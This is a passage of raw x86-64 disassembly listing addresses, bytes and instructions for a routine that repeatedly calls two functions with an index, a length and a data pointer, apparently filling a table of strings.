0040e0e7e8 0e f8 ff ffCALL FUN_0040d8fa
0040e0ecba 06 00 00 00MOV EDX,0x6
0040e0f148 8d 35 16 90 01 00LEA RSI,[DAT_0042710e]
0040e0f8bf 3b 00 00 00MOV EDI,0x3b
0040e0fde8 f8 f7 ff ffCALL FUN_0040d8fa
0040e102ba 07 00 00 00MOV EDX,0x7
0040e10748 8d 35 07 90 01 00LEA RSI,[DAT_00427115]
0040e10ebf 3c 00 00 00MOV EDI,0x3c
0040e113e8 e2 f7 ff ffCALL FUN_0040d8fa
0040e11831 ffXOR EDI,EDI
0040e11aba 11 00 00 00MOV EDX,0x11
0040e11f48 8d 35 f7 8f 01 00LEA RSI,[DAT_0042711d]
0040e126e8 b6 f9 ff ffCALL FUN_0040dae1
0040e12bba 0f 00 00 00MOV EDX,0xf
0040e13048 8d 35 f8 8f 01 00LEA RSI,[DAT_0042712f]
0040e137bf 01 00 00 00MOV EDI,0x1
0040e13ce8 a0 f9 ff ffCALL FUN_0040dae1
0040e141ba 17 00 00 00MOV EDX,0x17
0040e14648 8d 35 f2 8f 01 00LEA RSI,[DAT_0042713f]
0040e14dbf 02 00 00 00MOV EDI,0x2
0040e152e8 8a f9 ff ffCALL FUN_0040dae1
0040e157ba 19 00 00 00MOV EDX,0x19
0040e15c48 8d 35 f4 8f 01 00LEA RSI,[DAT_00427157]
0040e163bf 03 00 00 00MOV EDI,0x3
0040e168e8 74 f9 ff ffCALL FUN_0040dae1
0040e16dba 11 00 00 00MOV EDX,0x11
0040e17248 8d 35 f8 8f 01 00LEA RSI,[DAT_00427171]
0040e179bf 04 00 00 00MOV EDI,0x4
0040e17ee8 5e f9 ff ffCALL FUN_0040dae1
0040e183ba 0d 00 00 00MOV EDX,0xd
0040e18848 8d 35 f4 8f 01 00LEA RSI,[DAT_00427183]
0040e18fbf 05 00 00 00MOV EDI,0x5
0040e194e8 48 f9 ff ffCALL FUN_0040dae1
0040e199ba 38 00 00 00MOV EDX,0x38
0040e19e48 8d 35 94 a0 01 00LEA RSI,[DAT_00428239]
0040e1a5bf 06 00 00 00MOV EDI,0x6
0040e1aae8 32 f9 ff ffCALL FUN_0040dae1
0040e1afba 18 00 00 00MOV EDX,0x18
0040e1b448 8d 35 d6 8f 01 00LEA RSI,[DAT_00427191]
0040e1bbbf 07 00 00 00MOV EDI,0x7
0040e1c0e8 1c f9 ff ffCALL FUN_0040dae1
0040e1c5ba 20 00 00 00MOV EDX,0x20
0040e1ca48 8d 35 d9 8f 01 00LEA RSI,[DAT_004271aa]
0040e1d1bf 08 00 00 00MOV EDI,0x8
0040e1d6e8 06 f9 ff ffCALL FUN_0040dae1
0040e1dbba 0f 00 00 00MOV EDX,0xf
0040e1e048 8d 35 e4 8f 01 00LEA RSI,[DAT_004271cb]
0040e1e7bf 09 00 00 00MOV EDI,0x9
0040e1ece8 f0 f8 ff ffCALL FUN_0040dae1
0040e1f1ba 11 00 00 00MOV EDX,0x11
0040e1f648 8d 35 de 8f 01 00LEA RSI,[DAT_004271db]
0040e1fdbf 0a 00 00 00MOV EDI,0xa
0040e202e8 da f8 ff ffCALL FUN_0040dae1
0040e2070f 28 05 32 04 22 00MOVAPS XMM0,xmmword ptr [DAT_0062e640]
0040e20eba 20 00 00 00MOV EDX,0x20
0040e21348 8d 35 d3 8f 01 00LEA RSI,[DAT_004271ed]
0040e21abf 3e 00 00 00MOV EDI,0x3e
0040e21f48 8d 2d fc 8f 01 00LEA RBP,[DAT_00427222]
0040e2264c 8d 35 98 92 01 00LEA R14,[DAT_004274c5]
0040e22d0f 29 05 ec 03 22 00MOVAPS xmmword ptr [DAT_0062e620],XMM0
0040e2344c 8d 3d 01 96 01 00LEA R15,[DAT_0042783c]
0040e23b48 8d 1d 17 96 01 00LEA RBX,[DAT_00427859]
0040e242e8 b3 f6 ff ffCALL FUN_0040d8fa
0040e247ba 06 00 00 00MOV EDX,0x6
0040e24cbf 3f 00 00 00MOV EDI,0x3f
0040e25148 8d 35 b6 8f 01 00LEA RSI,[DAT_0042720e]
0040e258e8 9d f6 ff ffCALL FUN_0040d8fa
0040e25dba 05 00 00 00MOV EDX,0x5
0040e262bf 40 00 00 00MOV EDI,0x40
0040e26748 8d 35 a7 8f 01 00LEA RSI,[DAT_00427215]
0040e26ee8 87 f6 ff ffCALL FUN_0040d8fa
0040e273ba 06 00 00 00MOV EDX,0x6
0040e278bf 41 00 00 00MOV EDI,0x41
0040e27d48 8d 35 97 8f 01 00LEA RSI,[DAT_0042721b]
0040e284e8 71 f6 ff ffCALL FUN_0040d8fa
0040e28948 89 eeMOV RSI,RBP
0040e28cba 05 00 00 00MOV EDX,0x5
0040e291bf 42 00 00 00MOV EDI,0x42
0040e296e8 5f f6 ff ffCALL FUN_0040d8fa
0040e29bba 06 00 00 00MOV EDX,0x6
0040e2a0bf 43 00 00 00MOV EDI,0x43
0040e2a548 8d 35 7c 8f 01 00LEA RSI,[DAT_00427228]
0040e2ace8 49 f6 ff ffCALL FUN_0040d8fa
0040e2b1ba 09 00 00 00MOV EDX,0x9
0040e2b6bf 44 00 00 00MOV EDI,0x44
0040e2bb48 8d 35 6d 8f 01 00LEA RSI,[DAT_0042722f]
0040e2c2e8 33 f6 ff ffCALL FUN_0040d8fa
0040e2c7ba 09 00 00 00MOV EDX,0x9
0040e2ccbf 45 00 00 00MOV EDI,0x45
0040e2d148 8d 35 61 8f 01 00LEA RSI,[DAT_00427239]
0040e2d8e8 1d f6 ff ffCALL FUN_0040d8fa
0040e2ddba 0a 00 00 00MOV EDX,0xa
0040e2e2bf 46 00 00 00MOV EDI,0x46
0040e2e748 8d 35 55 8f 01 00LEA RSI,[DAT_00427243]
0040e2eee8 07 f6 ff ffCALL FUN_0040d8fa
0040e2f3ba 09 00 00 00MOV EDX,0x9
0040e2f8bf 47 00 00 00MOV EDI,0x47
0040e2fd48 8d 35 4a 8f 01 00LEA RSI,[DAT_0042724e]
0040e304e8 f1 f5 ff ffCALL FUN_0040d8fa
0040e309ba 05 00 00 00MOV EDX,0x5
0040e30ebf 48 00 00 00MOV EDI,0x48
0040e31348 8d 35 3e 8f 01 00LEA RSI,[DAT_00427258]
0040e31ae8 db f5 ff ffCALL FUN_0040d8fa
0040e31fba 04 00 00 00MOV EDX,0x4
0040e324bf 49 00 00 00MOV EDI,0x49
0040e32948 8d 35 2e 8f 01 00LEA RSI,[DAT_0042725e]
0040e330e8 c5 f5 ff ffCALL FUN_0040d8fa
0040e335ba 04 00 00 00MOV EDX,0x4
0040e33abf 4a 00 00 00MOV EDI,0x4a
0040e33f48 8d 35 1d 8f 01 00LEA RSI,[DAT_00427263]
0040e346e8 af f5 ff ffCALL FUN_0040d8fa
0040e34bba 04 00 00 00MOV EDX,0x4
0040e350bf 4b 00 00 00MOV EDI,0x4b
0040e35548 8d 35 0c 8f 01 00LEA RSI,[DAT_00427268]
0040e35ce8 99 f5 ff ffCALL FUN_0040d8fa
0040e361ba 04 00 00 00MOV EDX,0x4
0040e366bf 4c 00 00 00MOV EDI,0x4c
0040e36b48 8d 35 fb 8e 01 00LEA RSI,[DAT_0042726d]
0040e372e8 83 f5 ff ffCALL FUN_0040d8fa
0040e377ba 04 00 00 00MOV EDX,0x4
0040e37cbf 4d 00 00 00MOV EDI,0x4d
0040e38148 8d 35 ea 8e 01 00LEA RSI,[DAT_00427272]
0040e388e8 6d f5 ff ffCALL FUN_0040d8fa
0040e38dba 04 00 00 00MOV EDX,0x4
0040e392bf 4e 00 00 00MOV EDI,0x4e
0040e39748 8d 35 d9 8e 01 00LEA RSI,[DAT_00427277]
0040e39ee8 57 f5 ff ffCALL FUN_0040d8fa
0040e3a3ba 04 00 00 00MOV EDX,0x4
0040e3a8bf 4f 00 00 00MOV EDI,0x4f
0040e3ad48 8d 35 c8 8e 01 00LEA RSI,[DAT_0042727c]
0040e3b4e8 41 f5 ff ffCALL FUN_0040d8fa
0040e3b9ba 05 00 00 00MOV EDX,0x5
0040e3bebf 50 00 00 00MOV EDI,0x50
0040e3c348 8d 35 b7 8e 01 00LEA RSI,[DAT_00427281]
0040e3cae8 2b f5 ff ffCALL FUN_0040d8fa
0040e3cfba 05 00 00 00MOV EDX,0x5
0040e3d4bf 51 00 00 00MOV EDI,0x51
0040e3d948 8d 35 a7 8e 01 00LEA RSI,[DAT_00427287]
0040e3e0e8 15 f5 ff ffCALL FUN_0040d8fa
0040e3e54c 89 e6MOV RSI,R12
0040e3e8ba 0f 00 00 00MOV EDX,0xf
0040e3edbf 52 00 00 00MOV EDI,0x52
0040e3f2e8 03 f5 ff ffCALL FUN_0040d8fa
0040e3f74c 89 e6MOV RSI,R12
0040e3faba 0f 00 00 00MOV EDX,0xf
0040e3ffbf 53 00 00 00MOV EDI,0x53
0040e404e8 f1 f4 ff ffCALL FUN_0040d8fa
0040e409ba 09 00 00 00MOV EDX,0x9
0040e40ebf 54 00 00 00MOV EDI,0x54
0040e41348 8d 35 83 8e 01 00LEA RSI,[DAT_0042729d]
0040e41ae8 db f4 ff ffCALL FUN_0040d8fa
0040e41fba 0a 00 00 00MOV EDX,0xa
0040e424bf 55 00 00 00MOV EDI,0x55
0040e42948 8d 35 77 8e 01 00LEA RSI,[DAT_004272a7]
0040e430e8 c5 f4 ff ffCALL FUN_0040d8fa
0040e435ba 08 00 00 00MOV EDX,0x8
0040e43abf 56 00 00 00MOV EDI,0x56
0040e43f48 8d 35 6c 8e 01 00LEA RSI,[DAT_004272b2]
0040e446e8 af f4 ff ffCALL FUN_0040d8fa
0040e44bba 0d 00 00 00MOV EDX,0xd
0040e450bf 57 00 00 00MOV EDI,0x57
0040e45548 8d 35 5f 8e 01 00LEA RSI,[DAT_004272bb]
0040e45ce8 99 f4 ff ffCALL FUN_0040d8fa
0040e461ba 05 00 00 00MOV EDX,0x5
0040e466bf 58 00 00 00MOV EDI,0x58
0040e46b48 8d 35 57 8e 01 00LEA RSI,[DAT_004272c9]
0040e472e8 83 f4 ff ffCALL FUN_0040d8fa
0040e477ba 08 00 00 00MOV EDX,0x8
0040e47cbf 59 00 00 00MOV EDI,0x59
0040e48148 8d 35 47 8e 01 00LEA RSI,[DAT_004272cf]
0040e488e8 6d f4 ff ffCALL FUN_0040d8fa
0040e48dba 0a 00 00 00MOV EDX,0xa
0040e492bf 5a 00 00 00MOV EDI,0x5a
0040e49748 8d 35 3a 8e 01 00LEA RSI,[DAT_004272d8]
0040e49ee8 57 f4 ff ffCALL FUN_0040d8fa
0040e4a3ba 09 00 00 00MOV EDX,0x9
0040e4a8bf 5b 00 00 00MOV EDI,0x5b
0040e4ad48 8d 35 2f 8e 01 00LEA RSI,[DAT_004272e3]
0040e4b4e8 41 f4 ff ffCALL FUN_0040d8fa
0040e4b9ba 08 00 00 00MOV EDX,0x8
0040e4bebf 5c 00 00 00MOV EDI,0x5c
0040e4c348 8d 35 23 8e 01 00LEA RSI,[DAT_004272ed]
0040e4cae8 2b f4 ff ffCALL FUN_0040d8fa
0040e4cfba 08 00 00 00MOV EDX,0x8
0040e4d4bf 5d 00 00 00MOV EDI,0x5d
0040e4d948 8d 35 16 8e 01 00LEA RSI,[DAT_004272f6]
0040e4e0e8 15 f4 ff ffCALL FUN_0040d8fa
0040e4e5ba 09 00 00 00MOV EDX,0x9
0040e4eabf 5e 00 00 00MOV EDI,0x5e
0040e4ef48 8d 35 09 8e 01 00LEA RSI,[DAT_004272ff]
0040e4f6e8 ff f3 ff ffCALL FUN_0040d8fa
0040e4fbba 09 00 00 00MOV EDX,0x9
0040e500bf 5f 00 00 00MOV EDI,0x5f
0040e50548 8d 35 fd 8d 01 00LEA RSI,[DAT_00427309]
0040e50ce8 e9 f3 ff ffCALL FUN_0040d8fa
0040e511ba 0a 00 00 00MOV EDX,0xa
0040e516bf 60 00 00 00MOV EDI,0x60
0040e51b48 8d 35 f1 8d 01 00LEA RSI,[DAT_00427313]
0040e522e8 d3 f3 ff ffCALL FUN_0040d8fa
0040e527ba 0b 00 00 00MOV EDX,0xb
0040e52cbf 61 00 00 00MOV EDI,0x61
0040e53148 8d 35 e6 8d 01 00LEA RSI,[DAT_0042731e]
0040e538e8 bd f3 ff ffCALL FUN_0040d8fa
0040e53dba 09 00 00 00MOV EDX,0x9
0040e542bf 62 00 00 00MOV EDI,0x62
0040e54748 8d 35 dc 8d 01 00LEA RSI,[DAT_0042732a]
0040e54ee8 a7 f3 ff ffCALL FUN_0040d8fa
0040e553ba 0a 00 00 00MOV EDX,0xa
0040e558bf 63 00 00 00MOV EDI,0x63
0040e55d48 8d 35 d0 8d 01 00LEA RSI,[DAT_00427334]
0040e564e8 91 f3 ff ffCALL FUN_0040d8fa
0040e569ba 07 00 00 00MOV EDX,0x7
0040e56ebf 64 00 00 00MOV EDI,0x64
0040e57348 8d 35 c5 8d 01 00LEA RSI,[DAT_0042733f]
0040e57ae8 7b f3 ff ffCALL FUN_0040d8fa
0040e57fba 05 00 00 00MOV EDX,0x5
0040e584bf 65 00 00 00MOV EDI,0x65
0040e58948 8d 35 b7 8d 01 00LEA RSI,[DAT_00427347]
0040e590e8 65 f3 ff ffCALL FUN_0040d8fa
0040e595ba 09 00 00 00MOV EDX,0x9
0040e59abf 66 00 00 00MOV EDI,0x66
0040e59f48 8d 35 a7 8d 01 00LEA RSI,[DAT_0042734d]
0040e5a6e8 4f f3 ff ffCALL FUN_0040d8fa
0040e5abba 07 00 00 00MOV EDX,0x7
0040e5b0bf 67 00 00 00MOV EDI,0x67
0040e5b548 8d 35 9b 8d 01 00LEA RSI,[DAT_00427357]
0040e5bce8 39 f3 ff ffCALL FUN_0040d8fa
0040e5c1ba 08 00 00 00MOV EDX,0x8
0040e5c6bf 68 00 00 00MOV EDI,0x68
0040e5cb48 8d 35 8d 8d 01 00LEA RSI,[DAT_0042735f]
0040e5d2e8 23 f3 ff ffCALL FUN_0040d8fa
0040e5d7ba 0e 00 00 00MOV EDX,0xe
0040e5dcbf 69 00 00 00MOV EDI,0x69
0040e5e148 8d 35 80 8d 01 00LEA RSI,[DAT_00427368]
0040e5e8e8 0d f3 ff ffCALL FUN_0040d8fa
0040e5edba 0f 00 00 00MOV EDX,0xf
0040e5f2bf 6a 00 00 00MOV EDI,0x6a
0040e5f748 8d 35 79 8d 01 00LEA RSI,[DAT_00427377]
0040e5fee8 f7 f2 ff ffCALL FUN_0040d8fa
0040e603ba 09 00 00 00MOV EDX,0x9
0040e608bf 6b 00 00 00MOV EDI,0x6b
0040e60d48 8d 35 73 8d 01 00LEA RSI,[DAT_00427387]
0040e614e8 e1 f2 ff ffCALL FUN_0040d8fa
0040e619ba 1d 00 00 00MOV EDX,0x1d
0040e61ebf 6c 00 00 00MOV EDI,0x6c
0040e62348 8d 35 67 8d 01 00LEA RSI,[DAT_00427391]
0040e62ae8 cb f2 ff ffCALL FUN_0040d8fa
0040e62fba 07 00 00 00MOV EDX,0x7
0040e634bf 6d 00 00 00MOV EDI,0x6d
0040e63948 8d 35 6f 8d 01 00LEA RSI,[DAT_004273af]
0040e640e8 b5 f2 ff ffCALL FUN_0040d8fa
0040e645ba 0e 00 00 00MOV EDX,0xe
0040e64abf 6e 00 00 00MOV EDI,0x6e
0040e64f48 8d 35 61 8d 01 00LEA RSI,[DAT_004273b7]
0040e656e8 9f f2 ff ffCALL FUN_0040d8fa
0040e65bba 11 00 00 00MOV EDX,0x11
0040e660bf 6f 00 00 00MOV EDI,0x6f
0040e66548 8d 35 5a 8d 01 00LEA RSI,[DAT_004273c6]
0040e66ce8 89 f2 ff ffCALL FUN_0040d8fa
0040e671ba 14 00 00 00MOV EDX,0x14
0040e676bf 70 00 00 00MOV EDI,0x70
0040e67b48 8d 35 56 8d 01 00LEA RSI,[DAT_004273d8]
0040e682e8 73 f2 ff ffCALL FUN_0040d8fa
0040e687ba 06 00 00 00MOV EDX,0x6
0040e68cbf 71 00 00 00MOV EDI,0x71
0040e69148 8d 35 55 8d 01 00LEA RSI,[DAT_004273ed]
0040e698e8 5d f2 ff ffCALL FUN_0040d8fa
0040e69dba 0d 00 00 00MOV EDX,0xd
0040e6a2bf 72 00 00 00MOV EDI,0x72
0040e6a748 8d 35 46 8d 01 00LEA RSI,[DAT_004273f4]
0040e6aee8 47 f2 ff ffCALL FUN_0040d8fa
0040e6b3ba 0e 00 00 00MOV EDX,0xe
0040e6b8bf 73 00 00 00MOV EDI,0x73
0040e6bd48 8d 35 3e 8d 01 00LEA RSI,[DAT_00427402]
0040e6c4e8 31 f2 ff ffCALL FUN_0040d8fa
0040e6c9ba 0e 00 00 00MOV EDX,0xe
0040e6cebf 74 00 00 00MOV EDI,0x74
0040e6d348 8d 35 37 8d 01 00LEA RSI,[DAT_00427411]
0040e6dae8 1b f2 ff ffCALL FUN_0040d8fa
0040e6dfba 07 00 00 00MOV EDX,0x7
0040e6e4bf 75 00 00 00MOV EDI,0x75
0040e6e948 8d 35 30 8d 01 00LEA RSI,[DAT_00427420]
0040e6f0e8 05 f2 ff ffCALL FUN_0040d8fa
0040e6f5ba 06 00 00 00MOV EDX,0x6
0040e6fabf 76 00 00 00MOV EDI,0x76
0040e6ff48 8d 35 22 8d 01 00LEA RSI,[DAT_00427428]
0040e706e8 ef f1 ff ffCALL FUN_0040d8fa
0040e70b4c 89 eeMOV RSI,R13
0040e70eba 07 00 00 00MOV EDX,0x7
0040e713bf 77 00 00 00MOV EDI,0x77
0040e718e8 dd f1 ff ffCALL FUN_0040d8fa
0040e71dba 06 00 00 00MOV EDX,0x6
0040e722bf 78 00 00 00MOV EDI,0x78
0040e72748 8d 35 09 8d 01 00LEA RSI,[DAT_00427437]
0040e72ee8 c7 f1 ff ffCALL FUN_0040d8fa
0040e733ba 06 00 00 00MOV EDX,0x6
0040e738bf 79 00 00 00MOV EDI,0x79
0040e73d48 8d 35 fa 8c 01 00LEA RSI,[DAT_0042743e]
0040e744e8 b1 f1 ff ffCALL FUN_0040d8fa
0040e749ba 06 00 00 00MOV EDX,0x6
0040e74ebf 7a 00 00 00MOV EDI,0x7a
0040e75348 8d 35 eb 8c 01 00LEA RSI,[DAT_00427445]
0040e75ae8 9b f1 ff ffCALL FUN_0040d8fa
0040e75fba 06 00 00 00MOV EDX,0x6
0040e764bf 7b 00 00 00MOV EDI,0x7b
0040e76948 8d 35 dc 8c 01 00LEA RSI,[DAT_0042744c]
0040e770e8 85 f1 ff ffCALL FUN_0040d8fa
0040e775ba 06 00 00 00MOV EDX,0x6
0040e77abf 7c 00 00 00MOV EDI,0x7c
0040e77f48 8d 35 cd 8c 01 00LEA RSI,[DAT_00427453]
0040e786e8 6f f1 ff ffCALL FUN_0040d8fa
0040e78bba 06 00 00 00MOV EDX,0x6
0040e790bf 7d 00 00 00MOV EDI,0x7d
0040e79548 8d 35 be 8c 01 00LEA RSI,[DAT_0042745a]
0040e79ce8 59 f1 ff ffCALL FUN_0040d8fa
0040e7a1ba 07 00 00 00MOV EDX,0x7
0040e7a6bf 7e 00 00 00MOV EDI,0x7e
0040e7ab48 8d 35 af 8c 01 00LEA RSI,[DAT_00427461]
0040e7b2e8 43 f1 ff ffCALL FUN_0040d8fa
0040e7b7ba 08 00 00 00MOV EDX,0x8
0040e7bcbf 7f 00 00 00MOV EDI,0x7f
0040e7c148 8d 35 a1 8c 01 00LEA RSI,[DAT_00427469]
0040e7c8e8 2d f1 ff ffCALL FUN_0040d8fa
0040e7cdba 06 00 00 00MOV EDX,0x6
0040e7d2bf 80 00 00 00MOV EDI,0x80
0040e7d748 8d 35 94 8c 01 00LEA RSI,[DAT_00427472]
0040e7dee8 17 f1 ff ffCALL FUN_0040d8fa
0040e7e3ba 0a 00 00 00MOV EDX,0xa
0040e7e8bf 81 00 00 00MOV EDI,0x81
0040e7ed48 8d 35 85 8c 01 00LEA RSI,[DAT_00427479]
0040e7f4e8 01 f1 ff ffCALL FUN_0040d8fa
0040e7f9ba 0a 00 00 00MOV EDX,0xa
0040e7febf 82 00 00 00MOV EDI,0x82
0040e80348 8d 35 7a 8c 01 00LEA RSI,[DAT_00427484]
0040e80ae8 eb f0 ff ffCALL FUN_0040d8fa
0040e80fba 0a 00 00 00MOV EDX,0xa
0040e814bf 83 00 00 00MOV EDI,0x83
0040e81948 8d 35 6f 8c 01 00LEA RSI,[DAT_0042748f]
0040e820e8 d5 f0 ff ffCALL FUN_0040d8fa
0040e825ba 0c 00 00 00MOV EDX,0xc
0040e82abf 84 00 00 00MOV EDI,0x84
0040e82f48 8d 35 64 8c 01 00LEA RSI,[DAT_0042749a]
0040e836e8 bf f0 ff ffCALL FUN_0040d8fa
0040e83bba 0c 00 00 00MOV EDX,0xc
0040e840bf 85 00 00 00MOV EDI,0x85
0040e84548 8d 35 5b 8c 01 00LEA RSI,[DAT_004274a7]
0040e84ce8 a9 f0 ff ffCALL FUN_0040d8fa
0040e851ba 0a 00 00 00MOV EDX,0xa
0040e856bf 86 00 00 00MOV EDI,0x86
0040e85b48 8d 35 52 8c 01 00LEA RSI,[DAT_004274b4]
0040e862e8 93 f0 ff ffCALL FUN_0040d8fa
0040e867ba 05 00 00 00MOV EDX,0x5
0040e86cbf 87 00 00 00MOV EDI,0x87
0040e87148 8d 35 47 8c 01 00LEA RSI,[DAT_004274bf]
0040e878e8 7d f0 ff ffCALL FUN_0040d8fa
0040e87d4c 89 f6MOV RSI,R14
0040e880ba 08 00 00 00MOV EDX,0x8
0040e885bf 88 00 00 00MOV EDI,0x88
0040e88ae8 6b f0 ff ffCALL FUN_0040d8fa
0040e88fba 09 00 00 00MOV EDX,0x9
0040e894bf 89 00 00 00MOV EDI,0x89
0040e89948 8d 35 2e 8c 01 00LEA RSI,[DAT_004274ce]
0040e8a0e8 55 f0 ff ffCALL FUN_0040d8fa
0040e8a5ba 0a 00 00 00MOV EDX,0xa
0040e8aabf 8a 00 00 00MOV EDI,0x8a
0040e8af48 8d 35 bc 99 01 00LEA RSI,[DAT_00428272]
0040e8b6e8 3f f0 ff ffCALL FUN_0040d8fa
0040e8bbba 0a 00 00 00MOV EDX,0xa
0040e8c0bf 8b 00 00 00MOV EDI,0x8b
0040e8c548 8d 35 0c 8c 01 00LEA RSI,[DAT_004274d8]
0040e8cce8 29 f0 ff ffCALL FUN_0040d8fa
0040e8d1ba 05 00 00 00MOV EDX,0x5
0040e8d6bf 8c 00 00 00MOV EDI,0x8c
0040e8db48 8d 35 01 8c 01 00LEA RSI,[DAT_004274e3]
0040e8e2e8 13 f0 ff ffCALL FUN_0040d8fa
0040e8e7ba 08 00 00 00MOV EDX,0x8
0040e8ecbf 8d 00 00 00MOV EDI,0x8d
0040e8f148 8d 35 f1 8b 01 00LEA RSI,[DAT_004274e9]
0040e8f8e8 fd ef ff ffCALL FUN_0040d8fa
0040e8fdba 0a 00 00 00MOV EDX,0xa
0040e902bf 8e 00 00 00MOV EDI,0x8e
0040e90748 8d 35 e4 8b 01 00LEA RSI,[DAT_004274f2]
0040e90ee8 e7 ef ff ffCALL FUN_0040d8fa
0040e913ba 06 00 00 00MOV EDX,0x6
0040e918bf 8f 00 00 00MOV EDI,0x8f
0040e91d48 8d 35 d9 8b 01 00LEA RSI,[DAT_004274fd]
0040e924e8 d1 ef ff ffCALL FUN_0040d8fa
0040e929ba 05 00 00 00MOV EDX,0x5
0040e92ebf 90 00 00 00MOV EDI,0x90
0040e93348 8d 35 43 99 01 00LEA RSI,[DAT_0042827d]
0040e93ae8 bb ef ff ffCALL FUN_0040d8fa
0040e93fba 0b 00 00 00MOV EDX,0xb
0040e944bf 91 00 00 00MOV EDI,0x91
0040e94948 8d 35 b4 8b 01 00LEA RSI,[DAT_00427504]
0040e950e8 a5 ef ff ffCALL FUN_0040d8fa
0040e955ba 0a 00 00 00MOV EDX,0xa
0040e95abf 92 00 00 00MOV EDI,0x92
0040e95f48 8d 35 aa 8b 01 00LEA RSI,[DAT_00427510]
0040e966e8 8f ef ff ffCALL FUN_0040d8fa
0040e96bba 07 00 00 00MOV EDX,0x7
0040e970bf 93 00 00 00MOV EDI,0x93
0040e97548 8d 35 9f 8b 01 00LEA RSI,[DAT_0042751b]
0040e97ce8 79 ef ff ffCALL FUN_0040d8fa
0040e981ba 07 00 00 00MOV EDX,0x7
0040e986bf 94 00 00 00MOV EDI,0x94
0040e98b48 8d 35 91 8b 01 00LEA RSI,[DAT_00427523]
0040e992e8 63 ef ff ffCALL FUN_0040d8fa
0040e997ba 08 00 00 00MOV EDX,0x8
0040e99cbf 95 00 00 00MOV EDI,0x95
0040e9a148 8d 35 83 8b 01 00LEA RSI,[DAT_0042752b]
0040e9a8e8 4d ef ff ffCALL FUN_0040d8fa
0040e9adba 08 00 00 00MOV EDX,0x8
0040e9b2bf 96 00 00 00MOV EDI,0x96
0040e9b748 8d 35 76 8b 01 00LEA RSI,[DAT_00427534]
0040e9bee8 37 ef ff ffCALL FUN_0040d8fa
0040e9c3ba 03 00 00 00MOV EDX,0x3
0040e9c8bf 97 00 00 00MOV EDI,0x97
0040e9cd48 8d 35 69 8b 01 00LEA RSI,[DAT_0042753d]
0040e9d4e8 21 ef ff ffCALL FUN_0040d8fa
0040e9d9ba 0c 00 00 00MOV EDX,0xc
0040e9debf 98 00 00 00MOV EDI,0x98
0040e9e348 8d 35 57 8b 01 00LEA RSI,[DAT_00427541]
0040e9eae8 0b ef ff ffCALL FUN_0040d8fa
0040e9efba 0b 00 00 00MOV EDX,0xb
0040e9f4bf 99 00 00 00MOV EDI,0x99
0040e9f948 8d 35 83 98 01 00LEA RSI,[DAT_00428283]
0040ea00e8 f5 ee ff ffCALL FUN_0040d8fa
0040ea05ba 08 00 00 00MOV EDX,0x8
0040ea0abf 9a 00 00 00MOV EDI,0x9a
0040ea0f48 8d 35 38 8b 01 00LEA RSI,[DAT_0042754e]
0040ea16e8 df ee ff ffCALL FUN_0040d8fa
0040ea1bba 10 00 00 00MOV EDX,0x10
0040ea20bf 9b 00 00 00MOV EDI,0x9b
0040ea2548 8d 35 2b 8b 01 00LEA RSI,[DAT_00427557]
0040ea2ce8 c9 ee ff ffCALL FUN_0040d8fa
0040ea31ba 09 00 00 00MOV EDX,0x9
0040ea36bf 9c 00 00 00MOV EDI,0x9c
0040ea3b48 8d 35 26 8b 01 00LEA RSI,[DAT_00427568]
0040ea42e8 b3 ee ff ffCALL FUN_0040d8fa
0040ea47ba 10 00 00 00MOV EDX,0x10
0040ea4cbf 9d 00 00 00MOV EDI,0x9d
0040ea5148 8d 35 1a 8b 01 00LEA RSI,[DAT_00427572]
0040ea58e8 9d ee ff ffCALL FUN_0040d8fa
0040ea5dba 05 00 00 00MOV EDX,0x5
0040ea62bf 9e 00 00 00MOV EDI,0x9e
0040ea6748 8d 35 15 8b 01 00LEA RSI,[DAT_00427583]
0040ea6ee8 87 ee ff ffCALL FUN_0040d8fa
0040ea73ba 10 00 00 00MOV EDX,0x10
0040ea78bf 9f 00 00 00MOV EDI,0x9f
0040ea7d48 8d 35 05 8b 01 00LEA RSI,[DAT_00427589]
0040ea84e8 71 ee ff ffCALL FUN_0040d8fa
0040ea89ba 10 00 00 00MOV EDX,0x10
0040ea8ebf a0 00 00 00MOV EDI,0xa0
0040ea9348 8d 35 00 8b 01 00LEA RSI,[DAT_0042759a]
0040ea9ae8 5b ee ff ffCALL FUN_0040d8fa
0040ea9fba 08 00 00 00MOV EDX,0x8
0040eaa4bf a1 00 00 00MOV EDI,0xa1
0040eaa948 8d 35 fb 8a 01 00LEA RSI,[DAT_004275ab]
0040eab0e8 45 ee ff ffCALL FUN_0040d8fa
0040eab5ba 0e 00 00 00MOV EDX,0xe
0040eababf a2 00 00 00MOV EDI,0xa2
0040eabf48 8d 35 ee 8a 01 00LEA RSI,[DAT_004275b4]
0040eac6e8 2f ee ff ffCALL FUN_0040d8fa
0040eacbba 06 00 00 00MOV EDX,0x6
0040ead0bf a3 00 00 00MOV EDI,0xa3
0040ead548 8d 35 e7 8a 01 00LEA RSI,[DAT_004275c3]
0040eadce8 19 ee ff ffCALL FUN_0040d8fa
0040eae1ba 05 00 00 00MOV EDX,0x5
0040eae6bf a4 00 00 00MOV EDI,0xa4
0040eaeb48 8d 35 d8 8a 01 00LEA RSI,[DAT_004275ca]
0040eaf2e8 03 ee ff ffCALL FUN_0040d8fa
0040eaf7ba 07 00 00 00MOV EDX,0x7
0040eafcbf a5 00 00 00MOV EDI,0xa5
0040eb0148 8d 35 c8 8a 01 00LEA RSI,[DAT_004275d0]
0040eb08e8 ed ed ff ffCALL FUN_0040d8fa
0040eb0dba 0a 00 00 00MOV EDX,0xa
0040eb12bf a6 00 00 00MOV EDI,0xa6
0040eb1748 8d 35 ba 8a 01 00LEA RSI,[DAT_004275d8]
0040eb1ee8 d7 ed ff ffCALL FUN_0040d8fa
0040eb23ba 06 00 00 00MOV EDX,0x6
0040eb28bf a7 00 00 00MOV EDI,0xa7
0040eb2d48 8d 35 af 8a 01 00LEA RSI,[DAT_004275e3]
0040eb34e8 c1 ed ff ffCALL FUN_0040d8fa
0040eb39ba 06 00 00 00MOV EDX,0x6
0040eb3ebf a8 00 00 00MOV EDI,0xa8
0040eb4348 8d 35 a0 8a 01 00LEA RSI,[DAT_004275ea]
0040eb4ae8 ab ed ff ffCALL FUN_0040d8fa
0040eb4fba 06 00 00 00MOV EDX,0x6
0040eb54bf a9 00 00 00MOV EDI,0xa9
0040eb5948 8d 35 91 8a 01 00LEA RSI,[DAT_004275f1]
0040eb60e8 95 ed ff ffCALL FUN_0040d8fa
0040eb65ba 06 00 00 00MOV EDX,0x6
0040eb6abf aa 00 00 00MOV EDI,0xaa
0040eb6f48 8d 35 82 8a 01 00LEA RSI,[DAT_004275f8]
0040eb76e8 7f ed ff ffCALL FUN_0040d8fa
0040eb7bba 06 00 00 00MOV EDX,0x6
